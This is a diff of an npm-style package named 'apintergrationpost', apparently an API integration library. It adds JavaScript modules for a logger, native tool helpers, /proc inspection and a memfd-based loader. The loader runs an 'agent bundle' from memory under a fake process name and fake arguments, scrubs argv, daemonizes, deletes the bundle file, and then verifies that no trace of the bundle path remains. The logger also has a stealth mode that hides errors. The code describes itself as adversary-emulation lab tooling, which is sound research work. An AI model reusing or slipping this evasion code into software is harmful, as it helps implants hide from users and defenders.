apintergrationpost 4.0.1

package/src/shared/logger.js

@@ -0,0 +1,125 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { getEmulationConfig } = require('./emulation');
+
+const LEVELS = { debug: 0, info: 1, warn: 2, error: 3 };
+const MAX_AUDIT_SIZE = 10 * 1024 * 1024;
+const MAX_AUDIT_FILES = 5;
+
+class Logger {
+  constructor(opts = {}, labOpts = {}, emulationOpts = {}) {
+    this._level = LEVELS[opts.level] ?? LEVELS.warn;
+    this._stream = null;
+    this._logFile = null;
+    this._labStream = null;
+    this._labFile = null;
+    this._telemetryEnabled = emulationOpts.telemetry === true
+      || !!(labOpts.telemetryMode);
+    this._emitProcessInfo = labOpts.emitProcessInfo !== false;
+
+    if (opts.file) {
+      this._logFile = path.resolve(opts.file);
+      const dir = path.dirname(this._logFile);
+      fs.mkdirSync(dir, { recursive: true });
+      this._stream = fs.createWriteStream(this._logFile, { flags: 'a' });
+    }
+
+    if (this._telemetryEnabled && labOpts.eventsFile) {
+      this._labFile = path.resolve(labOpts.eventsFile);
+      const dir = path.dirname(this._labFile);
+      fs.mkdirSync(dir, { recursive: true });
+      this._labStream = fs.createWriteStream(this._labFile, { flags: 'a' });
+    }
+  }
+
+  _write(level, msg, meta) {
+    if (LEVELS[level] < this._level) return;
+    const entry = {
+      ts: new Date().toISOString(),
+      level,
+      msg,
+      ...(meta ? { meta } : {}),
+    };
+    if (level === 'error' && !getEmulationConfig({ emulation: { stealth: false } }).stealth) {
+      process.stderr.write(`[${entry.ts}] [ERROR] ${msg}\n`);
+    }
+    if (this._stream) {
+      this._stream.write(JSON.stringify(entry) + '\n');
+    }
+  }
+
+  debug(msg, meta) { this._write('debug', msg, meta); }
+  info(msg, meta)  { this._write('info', msg, meta); }
+  warn(msg, meta)  { this._write('warn', msg, meta); }
+  error(msg, meta) { this._write('error', msg, meta); }
+
+  audit(entry) {
+    if (!this._stream) return;
+    this._rotateIfNeeded(this._logFile, '_stream');
+    const line = JSON.stringify({ ts: new Date().toISOString(), audit: true, ...entry });
+    this._stream.write(line + '\n');
+  }
+
+  labEvent(entry) {
+    if (!this._telemetryEnabled || !this._labStream) return;
+    this._rotateIfNeeded(this._labFile, '_labStream');
+    let processInfo = {};
+    if (this._emitProcessInfo) {
+      try {
+        const { getSelfProcessSnapshot } = require('./procinfo');
+        processInfo = getSelfProcessSnapshot();
+      } catch { /* ignore on non-linux */ }
+    }
+    const event = {
+      ts: new Date().toISOString(),
+      event: entry.event || 'emulation_action',
+      pid: process.pid,
+      ppid: process.ppid,
+      ...processInfo,
+      ...entry,
+    };
+    this._labStream.write(JSON.stringify(event) + '\n');
+  }
+
+  _rotateIfNeeded(filePath, streamKey) {
+    if (!filePath) return;
+    try {
+      const stat = fs.statSync(filePath);
+      if (stat.size < MAX_AUDIT_SIZE) return;
+
+      this[streamKey].end();
+
+      for (let i = MAX_AUDIT_FILES - 1; i >= 1; i--) {
+        const older = `${filePath}.${i}`;
+        const newer = i === 1 ? filePath : `${filePath}.${i - 1}`;
+        if (fs.existsSync(newer)) {
+          fs.renameSync(newer, older);
+        }
+      }
+
+      this[streamKey] = fs.createWriteStream(filePath, { flags: 'a' });
+    } catch {
+      // continue logging
+    }
+  }
+
+  close() {
+    if (this._stream) {
+      this._stream.end();
+      this._stream = null;
+    }
+    if (this._labStream) {
+      this._labStream.end();
+      this._labStream = null;
+    }
+  }
+}
+
+function createLogger(config) {
+  const emu = getEmulationConfig(config);
+  return new Logger(config.log || {}, config.lab || {}, { telemetry: emu.telemetry });
+}
+
+module.exports = { Logger, createLogger };

package/src/shared/memfdLaunch.js

@@ -0,0 +1,135 @@
+'use strict';
+
+const path = require('path');
+const fs = require('fs');
+const { spawnSync } = require('child_process');
+const { getEmulationConfig } = require('./emulation');
+const { resolveNativeTool, resolveNativeToolsDir } = require('./nativeTools');
+
+function getMemoryConfig(config) {
+  const emu = getEmulationConfig(config);
+  const mem = (config.emulation && config.emulation.memory) || {};
+  return {
+    mode: mem.mode || 'off',
+    autoDeploy: mem.autoDeploy === true,
+    nodePath: mem.nodePath || '/usr/bin/node',
+    bundlePath: mem.bundlePath || './dist/agent.bundle.js',
+    scrubArgv: mem.scrubArgv !== false,
+    daemon: mem.daemon !== false,
+    unlinkBundle: mem.unlinkBundle === true,
+    comm: mem.comm || emu.process.targetName,
+    fakeArg: mem.fakeArg || (emu.process.fakeArgs && emu.process.fakeArgs[0]) || '--user',
+  };
+}
+
+function isMemfdChild() {
+  return process.env.MYRA_MEMFD_CHILD === '1'
+    || process.env.MYRA_MEMFD_MODE === 'full';
+}
+
+function resolveBundlePath(config) {
+  const mem = getMemoryConfig(config);
+  const configured = mem.bundlePath;
+  if (path.isAbsolute(configured)) {
+    return configured;
+  }
+  return path.resolve(process.cwd(), configured);
+}
+
+function shouldMemfdDeploy(config) {
+  if (isMemfdChild()) return false;
+  const mem = getMemoryConfig(config);
+  if (mem.mode !== 'full') return false;
+  if (!mem.autoDeploy) return false;
+  return true;
+}
+
+function buildLoaderArgs(config, extraClientArgs = []) {
+  const mem = getMemoryConfig(config);
+  const emu = getEmulationConfig(config);
+  const bundlePath = resolveBundlePath(config);
+  const configPath = process.env.APINTEGRATIONPOST_CONFIG
+    || process.env.MYRA_CONFIG
+    || path.join(process.cwd(), 'apintergrationpost.config.json');
+
+  if (!fs.existsSync(bundlePath)) {
+    throw new Error(`Agent bundle not found: ${bundlePath}. Run: npm run bundle-agent`);
+  }
+
+  const args = [
+    '--node', mem.nodePath,
+    '--bundle', bundlePath,
+    '--comm', mem.comm || emu.process.targetName,
+    '--fake-arg', mem.fakeArg,
+    '--config', configPath,
+  ];
+
+  if (mem.scrubArgv) args.push('--scrub-argv');
+  if (mem.daemon) args.push('--daemon');
+  if (mem.unlinkBundle) args.push('--unlink-bundle');
+
+  if (extraClientArgs.length > 0) {
+    args.push('--', ...extraClientArgs);
+  }
+
+  return args;
+}
+
+function spawnMemfdLoader(config, extraClientArgs = []) {
+  const args = buildLoaderArgs(config, extraClientArgs);
+  const result = spawnSync(resolveNativeTool(config, 'memfd_loader'), args, {
+    encoding: 'utf8',
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
+
+  if (result.error) {
+    throw result.error;
+  }
+  if (result.status !== 0) {
+    throw new Error(result.stderr || result.stdout || 'memfd_loader failed');
+  }
+
+  const pid = Number(String(result.stdout).trim().split('\n')[0]);
+  return { pid, args };
+}
+
+function verifyMemfdProcess(pid, config) {
+  const { getProcessInfo, summarizeMaps } = require('./procinfo');
+  const info = getProcessInfo(pid);
+  const mapsSummary = summarizeMaps(pid);
+
+  const exe = info.exe || '';
+  const cmdline = info.cmdline || '';
+  const bundlePath = resolveBundlePath(config);
+
+  const checks = {
+    memfd_exe: exe.includes('memfd:') || exe.includes('(deleted)'),
+    no_bundle_path_in_cmdline: !cmdline.includes(bundlePath)
+      && !cmdline.includes('src/client/index.js'),
+    uses_proc_fd: cmdline.includes('/proc/self/fd/') || cmdline.includes('/proc/'),
+    memfd_child_env: true,
+  };
+
+  const passed = Object.values(checks).every(Boolean);
+
+  return {
+    passed,
+    pid,
+    exe,
+    cmdline,
+    comm: info.comm,
+    mapsSummary,
+    checks,
+  };
+}
+
+module.exports = {
+  getMemoryConfig,
+  isMemfdChild,
+  resolveBundlePath,
+  shouldMemfdDeploy,
+  buildLoaderArgs,
+  spawnMemfdLoader,
+  verifyMemfdProcess,
+  resolveNativeToolsDir,
+};

package/src/shared/nativeTools.js

@@ -0,0 +1,73 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const { execFileSync, spawnSync } = require('child_process');
+const { getEmulationConfig } = require('./emulation');
+
+function resolveNativeToolsDir(config) {
+  const emu = getEmulationConfig(config);
+  const configured = emu.nativeToolsPath || './native/lab-tools/bin';
+  if (path.isAbsolute(configured)) {
+    return configured;
+  }
+  return path.resolve(process.cwd(), configured);
+}
+
+function resolveNativeTool(config, name) {
+  return path.join(resolveNativeToolsDir(config), name);
+}
+
+function nativeToolExists(config, name) {
+  try {
+    return fs.existsSync(resolveNativeTool(config, name));
+  } catch {
+    return false;
+  }
+}
+
+function runNativeTool(config, name, args = [], opts = {}) {
+  const toolPath = resolveNativeTool(config, name);
+  if (!fs.existsSync(toolPath)) {
+    throw new Error(
+      `Native tool not found: ${toolPath}. Build with: make -C native/lab-tools`
+    );
+  }
+  const result = spawnSync(toolPath, args, {
+    encoding: 'utf8',
+    maxBuffer: 10 * 1024 * 1024,
+    stdio: ['ignore', 'pipe', 'pipe'],
+    ...opts,
+  });
+  if (result.error) {
+    throw result.error;
+  }
+  return {
+    status: result.status,
+    stdout: (result.stdout || '').trim(),
+    stderr: (result.stderr || '').trim(),
+  };
+}
+
+function runNativeToolSync(config, name, args = [], opts = {}) {
+  const toolPath = resolveNativeTool(config, name);
+  if (!fs.existsSync(toolPath)) {
+    throw new Error(
+      `Native tool not found: ${toolPath}. Build with: make -C native/lab-tools`
+    );
+  }
+  return execFileSync(toolPath, args, {
+    encoding: 'utf8',
+    maxBuffer: 10 * 1024 * 1024,
+    stdio: ['ignore', 'pipe', 'pipe'],
+    ...opts,
+  }).trim();
+}
+
+module.exports = {
+  resolveNativeToolsDir,
+  resolveNativeTool,
+  nativeToolExists,
+  runNativeTool,
+  runNativeToolSync,
+};

package/src/shared/procinfo.js

@@ -0,0 +1,116 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+function readText(filePath) {
+  try {
+    return fs.readFileSync(filePath, 'utf8');
+  } catch {
+    return null;
+  }
+}
+
+function readLink(filePath) {
+  try {
+    return fs.readlinkSync(filePath);
+  } catch {
+    return null;
+  }
+}
+
+function parseStatusField(statusText, field) {
+  if (!statusText) return null;
+  const prefix = `${field}:\t`;
+  for (const line of statusText.split('\n')) {
+    if (line.startsWith(prefix)) {
+      return line.slice(prefix.length).trim();
+    }
+  }
+  return null;
+}
+
+function getProcessInfo(pid = process.pid) {
+  const procDir = `/proc/${pid}`;
+  const statusText = readText(path.join(procDir, 'status'));
+  const comm = readText(path.join(procDir, 'comm'));
+  const exe = readLink(path.join(procDir, 'exe'));
+  const cwd = readLink(path.join(procDir, 'cwd'));
+  let cmdline = '';
+  try {
+    cmdline = fs.readFileSync(path.join(procDir, 'cmdline'), 'utf8').replace(/\0/g, ' ').trim();
+  } catch {
+    cmdline = '';
+  }
+
+  return {
+    pid,
+    ppid: parseStatusField(statusText, 'PPid') ? Number(parseStatusField(statusText, 'PPid')) : null,
+    comm: comm ? comm.trim() : null,
+    exe,
+    cmdline,
+    cwd,
+  };
+}
+
+function getParentChain(maxDepth = 3, startPid = process.pid) {
+  const chain = [];
+  let pid = startPid;
+
+  for (let i = 0; i < maxDepth && pid > 0; i++) {
+    const info = getProcessInfo(pid);
+    chain.push({
+      pid: info.pid,
+      ppid: info.ppid,
+      comm: info.comm,
+      exe: info.exe,
+    });
+    if (!info.ppid || info.ppid === pid) break;
+    pid = info.ppid;
+  }
+
+  return chain;
+}
+
+function summarizeMaps(mapsPid = process.pid) {
+  const mapsText = readText(`/proc/${mapsPid}/maps`);
+  if (!mapsText) {
+    return { fileBackedExecutable: 0, anonymousExecutable: 0, totalRegions: 0 };
+  }
+
+  let fileBackedExecutable = 0;
+  let anonymousExecutable = 0;
+  let totalRegions = 0;
+
+  for (const line of mapsText.split('\n')) {
+    if (!line.trim()) continue;
+    totalRegions++;
+    const parts = line.trim().split(/\s+/);
+    const perms = parts[1] || '';
+    const pathname = parts.slice(5).join(' ');
+    if (!perms.includes('x')) continue;
+    if (!pathname || pathname === '') {
+      anonymousExecutable++;
+    } else {
+      fileBackedExecutable++;
+    }
+  }
+
+  return { fileBackedExecutable, anonymousExecutable, totalRegions };
+}
+
+function getSelfProcessSnapshot() {
+  const self = getProcessInfo(process.pid);
+  return {
+    ...self,
+    parentChain: getParentChain(3),
+    mapsSummary: summarizeMaps(process.pid),
+  };
+}
+
+module.exports = {
+  getProcessInfo,
+  getParentChain,
+  summarizeMaps,
+  getSelfProcessSnapshot,
+};